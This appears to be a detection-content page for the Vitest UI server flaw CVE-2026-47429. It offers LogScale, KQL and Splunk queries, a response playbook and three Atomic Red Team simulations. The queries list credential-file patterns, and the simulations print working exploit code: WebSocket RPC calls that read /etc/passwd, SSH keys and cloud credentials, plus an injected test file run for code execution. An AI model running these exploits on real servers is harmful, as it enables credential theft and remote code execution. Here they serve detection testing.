Detect CVE-2026-47429: Vitest UI Server Arbitrary File Read and Execution in CrowdStrike LogScale
CVE-2026-47429 is a critical missing authorization vulnerability (CWE-862, CVSS 9.8) in the Vitest UI server. When the Vitest UI server is listening, unauthenticated remote attackers can read arbitrary files from the filesystem and execute arbitrary code. Affected versions include Vitest < 3.2.6 and >= 4.0.0, < 4.1.0. A public proof-of-concept exists. Exploitation typically involves sending crafted WebSocket or HTTP requests to the Vitest UI server's RPC endpoint to traverse the filesystem or trigger code execution via the browser plugin's file system command handlers.
MITRE ATT&CK
LogScale Detection Query
#event_simpleName IN (ProcessRollup2, NetworkConnectIP4, NetworkConnectIP6, FileOpenInfo)
| ImageFileName = /node(\.exe)?$/i
| CommandLine = /vitest/i AND CommandLine = /(--ui|vitest ui)/i
| groupBy([aid, ComputerName, UserName], function=[
collect(CommandLine, limit=10),
collect(RemoteIP, limit=10),
collect(RemotePort, limit=10),
collect(TargetFileName, limit=20),
count()
])
| RemotePort IN (51204, 51205, 5173, 5174, 4173)
| NOT RemoteIP IN ("127.0.0.1", "::1", "0:0:0:0:0:0:0:1")
| TargetFileName = /(\.env$|id_rsa|id_ed25519|\.pem|shadow|passwd|credentials|secrets|\.aws\/credentials)/i
| eval RiskLevel = if(TargetFileName matches /(\.env|id_rsa|id_ed25519|\.pem|aws)/, "CRITICAL", "HIGH")
| sort(-RiskLevel, -count)
| rename ComputerName AS hostname, UserName AS affected_user CrowdStrike Falcon CQL query detecting Vitest UI processes with external network connections to Vitest default ports combined with sensitive file access, targeting CVE-2026-47429 exploitation across the fleet.
Data Sources
Required Tables
False Positives & Tuning
- Developer endpoints where vitest --ui is part of standard frontend development workflow
- Pentest or red team systems running authorized Vitest exploit simulations
- Build servers in private subnets that expose Vitest UI within trusted network segments
- Security tooling that monitors Vitest endpoints and itself generates file access events
Other platforms for CVE-2026-47429
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1CVE-2026-47429 - Vitest UI Arbitrary File Read via RPC
Expected signal: Network connection from external IP to port 5173; node process file open event for /etc/passwd; WebSocket upgrade request in proxy logs
- Test 2CVE-2026-47429 - Vitest UI Credential File Exfiltration Simulation
Expected signal: Sequence of file open events for multiple sensitive paths initiated by node process; multiple WebSocket messages to Vitest UI port within short timeframe
- Test 3CVE-2026-47429 - Vitest UI Remote Code Execution via Test Execution
Expected signal: Child process spawned by node with shell command arguments; file creation event at /tmp/vitest-rce-proof.txt; Sysmon Event ID 1 for child process of node.exe/node
References (8)
- https://github.com/vitest-dev/vitest/security/advisories/GHSA-5xrq-8626-4rwp
- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/commands/fs.ts#L10-L11
- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/plugin.ts#L194-L196
- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/browser/src/node/rpc.ts#L115-L121
- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/ui/node/index.ts#L77
- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L103-L105
- https://github.com/vitest-dev/vitest/blob/eb1abf08573032a532015b999ad3501c5e89e3bb/packages/vitest/src/api/setup.ts#L119-L121
- https://github.com/advisories/GHSA-5xrq-8626-4rwp
Response Playbook
Triage
- Identify the affected host and confirm whether Vitest is installed by checking npm package registry: `npm list -g vitest` or local project `npm list vitest`. Confirm the installed version is < 3.2.6 or >= 4.0.0 < 4.1.0.
- Determine if the Vitest UI server was actively running and exposed: check for process `node` with `--ui` argument listening on ports 51204, 5173, 5174, or 4173. Review netstat/ss output and firewall logs for external connections to these ports.
- Review file access logs (Sysmon Event ID 11, auditd, or EDR telemetry) for the node process to identify which files were read. Pay particular attention to .env files, SSH private keys, cloud credentials, and database configs.
- Check network logs for inbound connections to Vitest UI ports from non-loopback IPs in the 30 minutes preceding the alert. Capture source IPs and request payloads if available from proxy or WAF logs.
- Determine if any spawned child processes were created by the Vitest node process, which may indicate code execution beyond file read exploitation.
Containment
- Immediately terminate the Vitest UI server process: `pkill -f 'vitest.*--ui'` or `kill <PID>`. If running in a container, stop the container. Block ports 51204, 5173, 5174, 4173 at the host firewall and network perimeter to prevent further exploitation.
- If sensitive credentials were potentially exposed (SSH keys, .env secrets, cloud credentials), rotate all secrets immediately. Revoke and reissue API keys, rotate database passwords, and invalidate any JWT secrets. Update Vault with new credentials and re-deploy services as needed.
- Isolate the affected system from the network if code execution is confirmed or suspected, pending full forensic investigation.
Evidence Collection
- Capture a memory dump of the running node process before termination if feasible: `gcore <PID>` on Linux or use EDR live memory acquisition. Preserve the process's open file descriptors: `ls -la /proc/<PID>/fd/`.
- Collect all relevant logs: system audit logs, EDR telemetry, network flow records (NetFlow/IPFIX), web/proxy access logs, and any application-level logs from the Vitest process. Preserve with timestamps and chain of custody for forensic analysis.
- Snapshot the project directory and package.json/package-lock.json to document the exact Vitest version and configuration at time of compromise.
Escalation Criteria
- !Escalate to incident response if file access logs confirm that secrets, SSH private keys, or cloud credentials were read by the Vitest process — potential credential compromise requires immediate secrets rotation and account review.
- !Escalate if evidence of lateral movement is found: new processes spawned by node, outbound connections to attacker-controlled infrastructure, or modifications to authorized_keys or cron jobs following the Vitest UI exposure.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Node.js process command line arguments containing 'vitest' and '--ui' flags in process tables or EDR telemetry - >
Network socket records showing Vitest default ports (51204, 5173, 5174, 4173) with accepted connections from non-loopback source IPs - >
File access audit records for the node process touching paths outside the project directory, especially credential files - >
WebSocket upgrade requests and RPC message payloads in proxy or packet capture logs targeting Vitest UI endpoints - >
Any new files, cron entries, or SSH authorized_keys modifications post-exploitation indicating persistence
Tuning Guidance
Reduce false positives by filtering on network connections to Vitest UI ports where the source IP is exclusively loopback (127.0.0.1, ::1) — legitimate developer usage will almost always originate from localhost. Scope file access alerts to only fire when the accessed file path matches known sensitive patterns outside the project's own directory tree. In CI environments, create allowlist exceptions for known build agent IP ranges. Consider raising confidence to 'high' when both a remote inbound connection AND a sensitive file access occur within the same 5-minute window on the same host. Tune the Vitest port list based on your organization's actual Vitest configuration if non-default ports are in use.
Hunting Queries
Hunt for all Vitest UI server instances running across the environment in the past 7 days to identify exposure scope and determine which systems had the UI server active.
DeviceProcessEvents
| where TimeGenerated > ago(7d)
| where FileName in~ ("node", "node.exe")
| where ProcessCommandLine has "vitest" and ProcessCommandLine has_any ("--ui", "ui")
| summarize FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), Count=count() by DeviceName, AccountName, ProcessCommandLine
| order by LastSeen desc index=* (process_name="node" OR process_name="node.exe") command_line="*vitest*" command_line="*--ui*" earliest=-7d
| stats min(_time) as first_seen, max(_time) as last_seen, count by host, user, command_line
| sort -last_seen Hunt for external network connections to Vitest default UI ports from non-loopback addresses over the past week, identifying potentially exploited instances.
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| where LocalPort in (51204, 51205, 5173, 5174, 4173)
| where ActionType == "InboundConnectionAccepted"
| where RemoteIP !in ("127.0.0.1", "::1")
| summarize ConnectionCount=count(), UniqueRemoteIPs=dcount(RemoteIP), RemoteIPs=make_set(RemoteIP, 20) by DeviceName, LocalPort, bin(TimeGenerated, 1h)
| order by ConnectionCount desc index=* dest_port IN (51204, 51205, 5173, 5174, 4173) src_ip!="127.0.0.1" src_ip!="::1" earliest=-7d
| stats count, dc(src_ip) as unique_sources, values(src_ip) as source_ips by dest, dest_port, span(_time, 1h)
| sort -count Atomic Red Team Tests
Simulates exploitation of CVE-2026-47429 by sending an unauthenticated WebSocket RPC request to the Vitest UI server to read an arbitrary file from the filesystem. Requires a vulnerable Vitest instance running with --ui flag.
Command
# Start vulnerable Vitest UI server in background (lab only)
npm install [email protected] @vitest/[email protected] --save-dev 2>/dev/null
npx vitest --ui --port 5173 &
VITEST_PID=$!
sleep 3
# Send WebSocket RPC request to read /etc/passwd
python3 -c "
import websocket, json
ws = websocket.WebSocket()
ws.connect('ws://localhost:5173/__vitest_api__')
payload = json.dumps({'jsonrpc':'2.0','id':1,'method':'readFile','params':['/etc/passwd']})
ws.send(payload)
result = ws.recv()
print('Response:', result)
ws.close()
" Cleanup
kill $VITEST_PID 2>/dev/null; npm uninstall vitest @vitest/ui 2>/dev/null Expected Telemetry
Network connection from external IP to port 5173; node process file open event for /etc/passwd; WebSocket upgrade request in proxy logs
Expected Detection
Alert triggered on node process accessing /etc/passwd combined with inbound WebSocket connection to Vitest UI port from non-loopback address
Simulates post-exploitation credential harvesting by triggering file read requests to common credential file paths via the Vitest UI RPC interface, testing detection of sensitive file access patterns.
Command
# Assumes vulnerable Vitest UI running on port 5173
# Simulate attacker reading multiple credential files
for target_file in '/root/.env' "$HOME/.aws/credentials" "$HOME/.ssh/id_rsa" '/etc/shadow'; do
python3 -c "
import websocket, json, sys
try:
ws = websocket.WebSocket()
ws.connect('ws://localhost:5173/__vitest_api__')
payload = json.dumps({'jsonrpc':'2.0','id':1,'method':'readFile','params':['$target_file']})
ws.send(payload)
result = ws.recv()
print(f'File: $target_file -> {result[:100]}')
ws.close()
except Exception as e:
print(f'Error reading $target_file: {e}')
" 2>/dev/null
sleep 0.5
done Cleanup
No cleanup required — read-only operation; ensure Vitest test server is shut down after exercise Expected Telemetry
Sequence of file open events for multiple sensitive paths initiated by node process; multiple WebSocket messages to Vitest UI port within short timeframe
Expected Detection
Multiple sensitive file access events correlated with Vitest UI process; high-confidence alert when .aws/credentials or id_rsa access is detected
Simulates the code execution vector of CVE-2026-47429 where an attacker crafts a malicious test file and triggers its execution through the Vitest UI server RPC interface, achieving arbitrary command execution.
Command
# Lab environment only — simulates RCE via Vitest test execution
# Create a malicious test file
cat > /tmp/malicious-test.spec.js << 'EOF'
import { exec } from 'child_process';
test('exploit', () => {
exec('id > /tmp/vitest-rce-proof.txt', (err, stdout) => {
console.log('RCE executed:', stdout);
});
});
EOF
# Trigger test execution via RPC (unauthenticated)
python3 -c "
import websocket, json
ws = websocket.WebSocket()
ws.connect('ws://localhost:5173/__vitest_api__')
# Write malicious test file via writeFile RPC method
with open('/tmp/malicious-test.spec.js') as f:
content = f.read()
payload = json.dumps({'jsonrpc':'2.0','id':1,'method':'writeFile','params':['/tmp/injected.spec.js', content]})
ws.send(payload)
print('Write response:', ws.recv())
# Trigger test run
payload2 = json.dumps({'jsonrpc':'2.0','id':2,'method':'runTests','params':['/tmp/injected.spec.js']})
ws.send(payload2)
print('Run response:', ws.recv())
ws.close()
"
sleep 2
cat /tmp/vitest-rce-proof.txt 2>/dev/null && echo 'RCE confirmed' || echo 'RCE not confirmed' Cleanup
rm -f /tmp/malicious-test.spec.js /tmp/injected.spec.js /tmp/vitest-rce-proof.txt Expected Telemetry
Child process spawned by node with shell command arguments; file creation event at /tmp/vitest-rce-proof.txt; Sysmon Event ID 1 for child process of node.exe/node
Expected Detection
Alert on node process spawning unexpected child processes (sh, bash, exec) not typical of test framework operation; file write to locations outside project directory via Vitest process